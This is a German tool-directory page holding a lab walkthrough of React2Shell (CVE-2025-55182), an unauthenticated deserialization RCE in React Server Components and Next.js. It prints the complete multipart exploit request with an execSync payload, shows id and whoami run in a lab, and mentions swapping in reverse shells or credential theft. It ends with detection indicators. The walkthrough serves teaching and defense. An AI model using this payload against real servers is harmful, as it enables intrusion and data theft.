Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: nicht authentifizierte unsichere Deserialisierung in React Server Components, die zu zuverlässiger Remote-Codeausführung über das Flight-Protokoll führt. | Kitploit
Tools/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitCTFPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: nicht authentifizierte unsichere Deserialisierung in React Server Components, die zu zuverlässiger Remote-Codeausführung über das Flight-Protokoll führt.

Repository anzeigen
7126vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🎯 React2Shell (CVE-2025-55182): Von React Server Components zur vollständigen RCE

Schwierigkeit: Mittel → Fortgeschritten
Kategorie: Web-Ausnutzung | Deserialisierung | RCE

Cover


🧩 Aufgabe 1: Einführung — Warum React2Shell eine große Sache ist

CVE-2025-55182, Spitzname React2Shell, ist eine dieser Schwachstellen, die Verteidiger sofort nervös macht 😬. Entdeckt im Dezember 2025, trägt sie einen CVSS-Score von 10.0, was bereits zeigt, dass dies kein Randfallfehler ist.

Im Kern betrifft diese Schwachstelle React Server Components (RSC) und darauf aufbauende Frameworks — am bekanntesten Next.js. Der gruselige Teil?

👉 Unauthentifizierte Remote-Code-Ausführung (RCE) 👉 Ein einzelner manipulierter HTTP-Request 👉 Standardkonfigurationen sind anfällig

Kein Login. Keine besonderen Berechtigungen. Nur eine wohlgeformte Anfrage.

🔥 Betroffene React-Pakete

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ Behobene Versionen

  • 19.0.1
  • 19.1.2
  • 19.2.1

Diese Aufgabe führt uns durch warum dieser Fehler existiert, wie er ausgenutzt wird und was Verteidiger dagegen tun können.

Flagge: Keine Antwort nötig.


🧠 Aufgabe 2: React Server Components & das Flight-Protokoll

Vor der Ausnutzung benötigen wir Klarheit über die Architektur.

Was sind React Server Components?

React Server Components (eingeführt in React 19) erlauben es, Teile einer React-App auf dem Server auszuführen, nicht im Browser. Das bedeutet:

  • Schwere Berechnungen bleiben serverseitig ⚙️
  • Client erhält nur gerenderte Ausgabe 📦
  • Bessere Leistung, kleinere Bundles

Einführung: React Flight ✈️

Die Kommunikation zwischen Client und Server erfolgt über das React Flight-Protokoll. Dieses Protokoll serialisiert Daten auf dem Client und deserialisiert sie auf dem Server.

Es verwendet spezielle Marker:

  • $@ → Chunk reference

  • $B → Blob reference

  • Property paths via colon notation Example:

    $1:constructor:constructor
    

⚠️ Und genau hier liegt der Fehler in der Serialisierungslogik.

Frage: Welches Symbol kennzeichnet eine Blob-Referenz? ✅ Antwort: $B


💣 Aufgabe 3: Die Kernschwachstelle — Unsichere Deserialisierung

Im Herzen von CVE-2025-55182 liegt ein klassischer unsicherer Deserialisierungsfehler.

Schauen wir uns das anfällige Muster an (nicht zuschneiden 👇):

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... additional logic ...  
 return moduleExports[metadata[2]];  // VULNERABLE LINE  
}  

Warum ist das gefährlich?

In JavaScript, die Klammernotation:

obj[someKey]

beschränkt den Zugriff nicht nur auf exportierte Eigenschaften. Sie durchläuft die gesamte Prototypenkette.

Jetzt kommt die entscheidende Erkenntnis 👀:

  • Jede JavaScript-Funktion hat einen .constructor
  • constructor zeigt auf den Function-Konstruktor
  • Function("code") = beliebige JS-Ausführung

Bewaffnung von Flight-Referenzen

Da das Flight-Protokoll durch Doppelpunkte getrennte Pfade erlaubt, kann ein Angreifer senden:

$1:constructor:constructor

Was aufgelöst wird zu:

  1. Modul-Chunk holen
  2. Auf .constructor zugreifen
  3. Erneut auf .constructor zugreifen → Function

An diesem Punkt ist das Spiel vorbei 🎮.

Flagge: Keine Antwort nötig.


🧨 Aufgabe 4: Exploitation Chain — Vom Fehler zur RCE

Jetzt zerlegen wir maple3142's PoC Schritt für Schritt.

🧩 Stufe 1: Gefälschtes Chunk-Objekt

Der Angreifer sendet eine Multipart-Anfrage mit einem gefälschten Chunk-Objekt:

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Dieses Objekt ahmt die interne Chunk-Struktur von React nach. Indem then auf Chunk.prototype.then zeigt, wird React dazu verleitet, auf eine angreifergesteuerte Logik zu warten.

🧩 Stufe 2: Missbrauch des Blob-Handlers

Der Marker $B1337 löst den Blob-Deserialisierungs-Handler aus, der intern ausführt:

response._formData.get(response._prefix + id)

Aber wir haben vergiftet:

  • _formData.get → Function
  • _prefix → bösartiges JS

Resultierende Ausführung:

Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 Beliebige JavaScript-Ausführung erreicht.

🧩 Stufe 3: Betriebssystem-Befehlsausführung

Der PoC führt aus:

process.mainModule
  .require('child_process')
  .execSync('xcalc')

Dies kann trivial ersetzt werden durch:

  • Reverse Shells
  • Geheimnis-Exfiltration
  • Dateiauslesen
  • Diebstahl von Cloud-Anmeldeinformationen ☠️

Flagge: Keine Antwort nötig.


📦 Aufgabe 5: Vollständige HTTP-PoC-Aufschlüsselung

Hier ist die vollständige Exploit-Anfrage (wörtlich, nicht beschnitten):

POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(…Multipart-Body wird fortgesetzt…)

Wichtige Dinge zu beachten 👇

  • Next-Action-Header löst Server Actions aus
  • multipart/form-data ist obligatorisch
  • $@0 erzeugt eine Selbstreferenz
  • $B1337 löst Blob-Logik aus
  • constructor:constructor führt zu Function

Dies ist kein Zufall – es ist eine präzise konstruierte Kette.

🌍 Betroffenes Ökosystem

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js:

    • ≥14.3.0-canary.77
    • All 15.x
    • Early 16.x
  • Others: React Router (RSC), Waku, Redwood SDK

📊 Wiz-Forschung: 39 % der Cloud-Umgebungen exponiert 🌐 Shodan: 571k+ React-Server, 444k+ Next.js

Das ist… eine Menge 😶


🧪 Aufgabe 6: Ausnutzung im Labor

Zunächst in Repeater eine neue HTTP-Anfrage erstellen und Ziel auswählen.

1

Mit Burp Suite Repeater senden wir die Payload:

execSync('id')

2

Und später:

execSync('whoami')

3

✅ Ergebnisse

  • User: ubuntu

  • Flagge:

    {React-19.2.0}
    

Saubere, zuverlässige, wiederholbare Ausnutzung 💀


🛡️ Aufgabe 7: Erkennung & Verteidigung

Gute Nachrichten für Verteidiger 👮‍♂️ — die Ausnutzung hinterlässt Fingerabdrücke.

🔎 Angriffsindikatoren

  • Next-Action header
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"

Diese sollten niemals im normalen Benutzerverkehr auftauchen.

🚨 Snort Rule (v3)

Tool herunterladen